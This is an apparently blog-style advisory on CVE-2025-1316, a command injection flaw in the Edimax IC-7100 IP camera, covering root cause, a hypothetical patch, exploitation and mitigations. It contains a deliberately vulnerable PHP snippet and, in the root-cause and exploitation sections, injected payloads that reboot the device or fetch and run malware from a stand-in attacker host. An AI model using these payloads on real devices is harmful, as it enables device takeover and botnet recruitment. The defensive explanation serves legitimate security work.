RCE

CVE-2025-1316: Remote Code Execution Vulnerability in Edimax IC-7100 IP Camera

Robert Morgan

Robert Morgan

— 7 min read

Executive Summary

CVE-2025-1316 is a critical vulnerability affecting the Edimax IC-7100 IP camera. This vulnerability stems from improper neutralization of requests, allowing a remote attacker to inject and execute arbitrary commands on the device. With a CVSS v3.1 score of 9.8 (Critical), this flaw poses a significant risk, potentially leading to complete compromise of the affected camera, including unauthorized access to video and audio feeds, denial of service, and use of the device as a botnet node. Public reports indicate that this vulnerability is being actively exploited in the wild by Mirai-based botnets.

Technical Details

  • CVE ID: CVE-2025-1316
  • Affected Product: Edimax IC-7100 IP Camera
  • Vulnerability Type: OS Command Injection (CWE-78)
  • CVSS v3.1 Score: 9.8 (Critical)
    • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The vulnerability resides in the web interface of the Edimax IC-7100. Specifically, the camera's firmware does not adequately sanitize user-supplied input before passing it to system commands. This allows an attacker to inject malicious commands into the request, which are then executed by the underlying operating system with the privileges of the web server process.

Affected systems are those running vulnerable firmware versions on the Edimax IC-7100. It's crucial to identify and update any IC-7100 cameras to the latest available firmware provided by Edimax.

Root Cause Analysis

The root cause of CVE-2025-1316 is an OS command injection vulnerability (CWE-78) due to insufficient input validation and sanitization. The Edimax IC-7100's web server likely uses a scripting language (e.g., PHP, Lua, or a custom scripting engine) to handle web requests. When processing certain parameters, the code fails to properly escape or filter special characters that have meaning to the underlying operating system's shell.

Let's illustrate this with a hypothetical (but plausible) code snippet. Assume the camera's web interface allows users to set a custom hostname for the device. The code might look something like this (hypothetical PHP example):

<?php
  $hostname = $_GET["hostname"];
  $command = "hostname " . $hostname;
  system($command);
?>

In this simplified example, the script retrieves the value of the hostname parameter from the HTTP GET request and directly concatenates it into a system command using the hostname utility. The system() function then executes this command.

An attacker could exploit this by providing a malicious hostname value containing shell metacharacters. For example:

http://<camera_ip>/set_hostname.php?hostname=;reboot;

In this case, the resulting command executed by the system would be:

hostname ;reboot;

The semicolon (;) acts as a command separator in many shells. Therefore, this single line is interpreted as two separate commands: first, hostname (with an empty argument, which might result in no change or an error), and then reboot, which would cause the camera to restart.

A more sophisticated attacker could inject commands to download and execute arbitrary code from a remote server. For example:

http://<camera_ip>/set_hostname.php?hostname=;wget http://<attacker_ip>/malware -O /tmp/malware; chmod +x /tmp/malware; /tmp/malware;

This payload would:

  1. Download a file named malware from the attacker's server to the /tmp directory on the camera.
  2. Make the downloaded file executable.
  3. Execute the downloaded file.

This allows the attacker to gain complete control over the device.

Important Note: This is a simplified example for illustrative purposes. The actual vulnerable code in the Edimax IC-7100 firmware may be more complex, but the underlying principle of insufficient input validation remains the same.

Patch Analysis

We can discuss the theoretical approach that a patch would likely take to address this vulnerability.

A proper fix would involve implementing robust input validation and sanitization to prevent the injection of malicious commands. This could be achieved through several techniques:

  1. Input Validation: Verify that the input conforms to the expected format and character set. For example, if the hostname parameter is expected to be a valid hostname, the code should check that it only contains alphanumeric characters, hyphens, and periods, and that it does not exceed a certain length.

  2. Input Sanitization: Escape or remove any characters that have special meaning to the shell. This can be done using functions provided by the programming language or by implementing custom escaping logic. For example, in PHP, the escapeshellarg() function can be used to properly escape arguments that are passed to shell commands.

  3. Using Parameterized Queries or Prepared Statements: If the vulnerability involves database interaction, using parameterized queries or prepared statements can prevent SQL injection vulnerabilities. While this specific CVE is about command injection, it's a good general practice.

  4. Principle of Least Privilege: Ensure that the web server process runs with the minimum necessary privileges. This can limit the impact of a successful command injection attack.

A hypothetical patch for the PHP example above might look like this (this is a made-up patch for demonstration purposes):

--- a/set_hostname.php
+++ b/set_hostname.php
@@ -1,4 +1,10 @@
 <?php
   $hostname = $_GET["hostname"];
+  // Validate hostname
+  if (!preg_match('/^[a-zA-Z0-9.-]+$/', $hostname)) {
+    echo "Invalid hostname";
+    exit;
+  }
+  $hostname = escapeshellarg($hostname);
   $command = "hostname " . $hostname;
   system($command);
?>

Explanation of the hypothetical patch:

  • preg_match('/^[a-zA-Z0-9.-]+$/', $hostname): This line uses a regular expression to validate that the hostname parameter only contains alphanumeric characters, hyphens, and periods. If the input does not match this pattern, an error message is displayed, and the script exits.
  • $hostname = escapeshellarg($hostname);: This line uses the escapeshellarg() function to properly escape the hostname parameter before it is passed to the system() function. This prevents the injection of malicious commands.

This hypothetical patch demonstrates how input validation and sanitization can be used to mitigate command injection vulnerabilities. A real patch would likely involve more comprehensive checks and escaping, depending on the specific context of the vulnerable code.

Exploitation Techniques

CVE-2025-1316 allows for remote code execution, making it a highly exploitable vulnerability. As reported, Mirai-based botnets are actively exploiting this flaw.

Here's a step-by-step example of how an attacker could exploit this vulnerability, based on the hypothetical code example provided earlier (this is a made-up exploit for demonstration purposes):

Prerequisites:

  • The attacker needs to know the IP address of the vulnerable Edimax IC-7100 camera.
  • The attacker needs a web server to host the malicious payload.

Steps:

  1. Craft the Malicious Payload: The attacker crafts a malicious payload that will be injected into the hostname parameter. This payload will download and execute a script from the attacker's server.

    ;wget http://<attacker_ip>/malware -O /tmp/malware; chmod +x /tmp/malware; /tmp/malware;

    Replace <attacker_ip> with the IP address of the attacker's web server. The malware file on the attacker's server could be a shell script or a compiled executable that performs malicious actions, such as adding the camera to a botnet.

  2. Send the Malicious Request: The attacker sends an HTTP GET request to the camera's web interface, including the malicious payload in the hostname parameter.

    GET /set_hostname.php?hostname=;wget http://<attacker_ip>/malware -O /tmp/malware; chmod +x /tmp/malware; /tmp/malware; HTTP/1.1
Host: <camera_ip>

    Replace <camera_ip> with the IP address of the vulnerable camera.

  3. Execute the Payload: When the camera receives the request, the vulnerable code (as described in the Root Cause Analysis section) will execute the injected command. This will download the malware file from the attacker's server, make it executable, and then execute it.

  4. Gain Control of the Camera: Once the malware file is executed, the attacker gains control of the camera. The attacker can then use the camera for various malicious purposes, such as:

    • Accessing and recording video and audio feeds.
    • Using the camera as a node in a botnet to launch DDoS attacks.
    • Stealing sensitive information stored on the camera.
    • Installing persistent backdoors for future access.

Real-World Impact:

The real-world impact of CVE-2025-1316 can be significant. Compromised IP cameras can be used to:

  • Spy on individuals and businesses: Attackers can access live video and audio feeds from compromised cameras, allowing them to monitor activities and gather sensitive information.
  • Launch DDoS attacks: Compromised cameras can be used as part of a botnet to launch distributed denial-of-service (DDoS) attacks against websites and other online services.
  • Spread malware: Compromised cameras can be used to spread malware to other devices on the network.
  • Damage reputation: A security breach involving compromised IP cameras can damage the reputation of the affected organization.

The fact that Mirai-based botnets are actively exploiting this vulnerability highlights the severity of the risk.

Mitigation Strategies

To mitigate the risk of CVE-2025-1316, the following steps should be taken:

  1. Apply Firmware Updates: The most important step is to update the Edimax IC-7100 camera to the latest firmware version provided by the vendor. Edimax should release a firmware update that addresses the command injection vulnerability. Check the Edimax support website regularly for updates.

  2. Network Segmentation: Isolate the IP camera on a separate network segment from other critical devices. This can limit the impact of a successful attack.

  3. Strong Passwords: Use strong, unique passwords for the camera's web interface and other services. Avoid using default passwords.

  4. Disable Unnecessary Features: Disable any unnecessary features or services on the camera that are not required for its operation.

  5. Firewall Protection: Configure a firewall to restrict access to the camera's web interface from the internet. Only allow access from trusted IP addresses or networks.

  6. Regular Security Audits: Conduct regular security audits of the camera and the network to identify and address any potential vulnerabilities.

  7. Monitor Network Traffic: Monitor network traffic to and from the camera for any suspicious activity.

  8. Consider Alternative Solutions: If a firmware update is not available or if the camera is no longer supported, consider replacing it with a more secure model from a different vendor.

Timeline of Discovery and Disclosure

  • 2025-03-05: CVE-2025-1316 is published by ICS-CERT.
  • 2025-03-07: SecurityWeek reports that Mirai-based botnets are exploiting the vulnerability.
  • 2025-03-07: Akamai Security Intelligence Group identifies exploitation attempts.

References

Conclusion

CVE-2025-1316 is a critical vulnerability that poses a significant risk to users of the Edimax IC-7100 IP camera. The vulnerability is actively being exploited in the wild by Mirai-based botnets, highlighting the urgency of applying the recommended mitigation strategies. Users should update their cameras to the latest firmware version as soon as possible and implement other security measures to protect their devices and networks. The lack of proper input validation and sanitization is a common source of vulnerabilities, and developers should prioritize secure coding practices to prevent similar issues in the future.

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